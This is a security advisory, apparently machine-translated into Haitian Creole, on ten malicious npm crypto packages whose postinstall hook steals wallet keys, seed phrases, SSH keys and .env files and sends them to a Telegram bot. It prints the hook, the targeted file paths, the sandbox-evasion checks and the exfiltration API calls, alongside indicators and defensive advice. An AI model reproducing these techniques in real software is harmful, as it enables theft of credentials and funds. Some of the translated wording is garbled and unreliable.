TL; DR
Nan dat 9 jen 2026, yon sèl kont piblikatè npm, aicrypto-xzggg, anbake dis pakè ak non ki gen gou kriptografik ak Web3 — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9, ak sis lòt ankò.
Chak pake kouri menm chaj la soti nan yon postinstall zen. Lè l ap enstale, li verifye si l ap fonksyone andedan CI oubyen yon sandbox — si se pa sa, li li keystore bous yo, fichye fraz grenn yo, kle SSH yo, ak .env fichye ki soti nan sis ekosistèm blockchain epi transmèt yo bay yon bot Telegram.
Sèl endikatè yon defansè ka chase imedyatman se id bot Telegram lan. 8227918239.
Severite: kritik — vòl dirèk kle siyati ak fraz rekiperasyon nan men estasyon travay devlopè yo.
Atak la: Kijan li fonksyone
Pakè yo fè piblisite pou tèt yo kòm sèvis piblik pou devlope blòkchenn. package.json se minimòm epi li pwen sik lavi enstalasyon an nan yon script:
{
"name": "farming-tools-12",
"main": "src/index.js",
"scripts": { "postinstall": "node scripts/postinstall.js" },
"keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"],
"author": "Alex Smith",
"license": "MIT"
}scripts/postinstall.js se yon kal yon sèl liy ki chaje vrè chay la: mande("../src/index.js"). Paske apre enstalasyon fonksyone otomatikman pandan npm enstale, devlopè a pa bezwen enpòte kòd — mete pake a nan yon pyebwa depandans sifi pou egzekite li.
Chèn touye moun anndan an src/index.js se kat etap:
- Verifikasyon anviwònman. Yon fonksyon gad deside si lame a sanble ak yon ajan konstriksyon oswa yon bwat sab analiz.
- Reta. Ekzekisyon an ranvwaye dèyè yon setTimeout apeprè 7.4 segonn.
- Koleksyon. Yo mache sou yon lis fiks chemen pou fichye bous, kle, ak sekrè; fichye ki deja egziste yo mete nan fil datant.
- Èksfiltrasyon. Fichye ki nan fil yo voye bay yon bot Telegram, anvan yo resevwa yon mesaj rezime.
Lis sib koleksyon an gen ladan sis chèn plis sekrè devlopè jenerik. Koupe:
~/.config/solana/id.json ~/.ethereum/keystore
~/.solana/keypair.json ~/.bitcoin/wallet.dat
~/.tron_wallet/keystore ~/.sui/sui_config/sui.keystore
~/.aptos/key.txt ~/.ssh/id_rsa , ~/.ssh/id_ed25519
./wallet.json ./keystore.json ./mnemonic.txt ./seed.txt
./seedphrase.txt ./recovery.txt ./private.key ./.env ./.env.localVenn e yon chemen an total. Antre anyè tankou ~/.ethereum/keystore yo elaji epi chak fichye anndan an mete nan fil datant. Eksfiltrasyon an itilize API Telegram Bot la dirèkteman — yon voyeMesaj apèl ak yon rezime lame ak fichye, answit yon voyeDokiman telechajman an plizyè pati pou chak fichye:
tèks
POST https://api.telegram.org/bot<token>/sendMessage
POST https://api.telegram.org/bot<token>/sendDocument (one per file)Mesaj rezime kòd la rasanble a kòmanse ak chèn literal la VÒLÈ KRIPTO, ki te swiv pa non lame a, non itilizatè a, non pake orijinèl la, kantite fichye yo, ak dat ak lè.
Sa ki nouvo isit la
Diferans lan se pa mekanis vòl la — Eksfilyasyon ki baze sou Telegram soti nan npm apre enstalasyon hooks byen foule. Se la pòtay ekzekisyon. Anvan yo fè nenpòt bagay, payload la rele yon fonksyon ki retounen true lè lame a sanble ak yon CI runner oswa sandbox, epi ki retounen bonè lè li sanble ak sa:
tèks
isTestEnvironment() is true when ANY of:
- env CI == "true" OR GITHUB_ACTIONS == "true" OR JENKINS_HOME set
- env NODE_ENV in {test, development}
- username/USER contains: runner, sandbox, test, docker,
jenkins, gitlab, travis, circleci
- hostname contains: sandbox, test, ci
- hostname matches /^[a-f0-9]{12}$/ (a container-id shape)Regex kontenè-id la se kloz remakab la: yon non lame 12 karaktè egzagonal se fòm pa defo Docker bay yon veso, kidonk chaj la trete "non òdinatè mwen an sanble ak yon kontenè Docker" kòm yon rezon pou rete inaktif. Ansanm ak reta sèt segonn nan, konsepsyon an favorize kouri sou estasyon travay reyèl yon devlopè epi rete an silans nenpòt kote ki sanble ak analiz otomatik. Se pòtay sa a ki siprime siyal analiz dinamik yo epi ki kenbe koule eksfil estatik la kòm prèv prensipal kondanasyon an.
Timeline
Tout dis te parèt nan apeprè swasanndis minit, sa ki konsistan avèk yon sèl piblikasyon ak senaryo ki soti nan yon sèl kont.
Endikatè Konpwomi
Endikatè rezo ak konpòtman (lame dezaktive):
Pakè ak vèsyon, chak ak SHA-256 li yo src/index.js chaj (chaj yo fonksyonèlman idantik epi yo diferan sèlman nan etikèt non pake entegre a, kidonk chak hach diferan):
Yon senp rechèch: chèche nan jounal enstalasyon yo ak fichye lock yo pou nenpòt nan dis non yo, epi chèche trafik sortan pou koneksyon ak API Bot Telegram lan soti nan òdinatè build oswa devlopè ki pa itilize li otreman.
Atribisyon ak Konpòtman Obsève
Tout dis pakè yo te pibliye pa yon sèl kont, aicrypto-xzggg, ki gen imèl ki endike a se vipsyria88@gmail[.]comNi imèl la ni lyen kontwòl sous la pa verifye nan metadone rejis la, epi kont lan gen yon nòt repitasyon trè negatif. Nou poko konfime ki moun ki opere kont lan.
De detay vo separe nan nenpòt reklamasyon idantite. Premyèman, la package.json otè lekti jaden Alex Smith sou chak pake, pandan kont piblikasyon aktyèl la se aicrypto-xzggg; chan otè a se yon metadone deklare pa yon moun epi li pa etabli otè a. Dezyèmman, nimewo vèsyon yo varye anpil — gen kèk manm ki chita nan 1.0.0, lòt moun nan 4.68.54 — ki konsistan avèk reyitilize yon sèl chaj atravè non pakè ki fèk kreye olye pou kenbe istwa lage reyèl yo.
Konpòtman an inifòm atravè gwoup la: menm lis chemen sib la, menm id bot Telegram lan ak id chat la, menm pòtay anviwònman an, menm VÒLÈ KRIPTO makè. Inifòmite sa a se lyen ki pi solid ant pakè yo. Se yon siyal menm operatè a, pa yon idantite.
Enpak, Tandans ak Gid pou Defansè yo
Ekspozisyon an konkrè. Yon devlopè ki enstale nenpòt nan pakè sa yo sou yon estasyon travay ki gen yon bous lojisyèl, yon fichye fraz-semans, oswa yon kle SSH fè fichye sa yo li epi transmèt sou òdinatè a nan kèk segonn. Fraz rekiperasyon ak kle siyati yo pa ekspire menm jan ak yon jeton sesyon; yon fwa yon mnemonic.txt oubyen yon Solana id.json kite machin nan, lajan li kontwole yo an danje jiskaske yo deplase yo. Menm kous la kaptire tou .env fichye, ki regilyèman pote kle API ak kalifikasyon baz done.
De tandans dèyè gwoupman sa a. Premye a se itilizasyon kontinyèl non ki gen tèm kriptografik ak Web3 pou atire yon odyans espesifik - devlopè ki kenbe bous ak kle sou menm machin kote yo enstale depandans yo. Dezyèm lan se matirite nan fason pou evite "sandbox" nan chaj itil pandan enstalasyon an. Yon pòtay ki tcheke varyab anviwònman CI, non itilizatè kourè, ak yon fòm non lame "container-id" Docker se yon efò volontè pou konpòte li yon fason diferan anba analiz pase sou yon estasyon travay reyèl, epi li ogmante nivo a pou deteksyon dinamik sèlman.
Pou defansè yo:
Enstale ak script yo enfim pa default. enstalasyon npm –ignore-scripts, oubyen mete inyore-skript=vre in .npmrc, anpeche apre enstalasyon ekzekisyon; aktive script sèlman pou depandans espesifik ki vrèman bezwen yo.
Kenbe bous ak kle siyati yo lwen machin konstriksyon ak devlopman yo. Sèvi ak yon bous pyès ki nan konpitè oswa yon lame siyati dedye, san depandans.
Trete .env, depo kle yo, ak fichye fraz-grenn kòm bijou kouwòn. Yo pa ta dwe janm rete nan yon anyè ki se tou yon npm enstale pyebwa k ap travay.
Chache koneksyon sortan sou API Bot Telegram lan soti nan òdinatè CI ak òdinatè devlopè yo. Pifò anviwònman konstriksyon pa janm rele li; youn ki fè sa sibitman, touswit apre yon enstalasyon, vo lapenn envestige.
Mete epi revize depandans yo. Yon pake tou nèf ak yon non kripto jenerik, yon apre enstalasyon zen, epi pa gen okenn lyen depo ki jistifye yon gade anvan li antre nan yon dosye lockfile.
Klòz pou evite idantifikasyon kontenè a se yon rapèl pou analis yo tou: yon chaj ki rete andòmi nan yon sandbox pa yon bagay ki pa danjere, li selektif. Revizyon estatik chemen enstalasyon an rete fason ki fyab pou wè sa ekzekisyon dinamik la ka refize montre.
Referans
Dokimantasyon enstalasyon npm — script sik lavi ak –Ignore-Scripts— referans pou dezaktive enstalasyon otomatik la hooks.
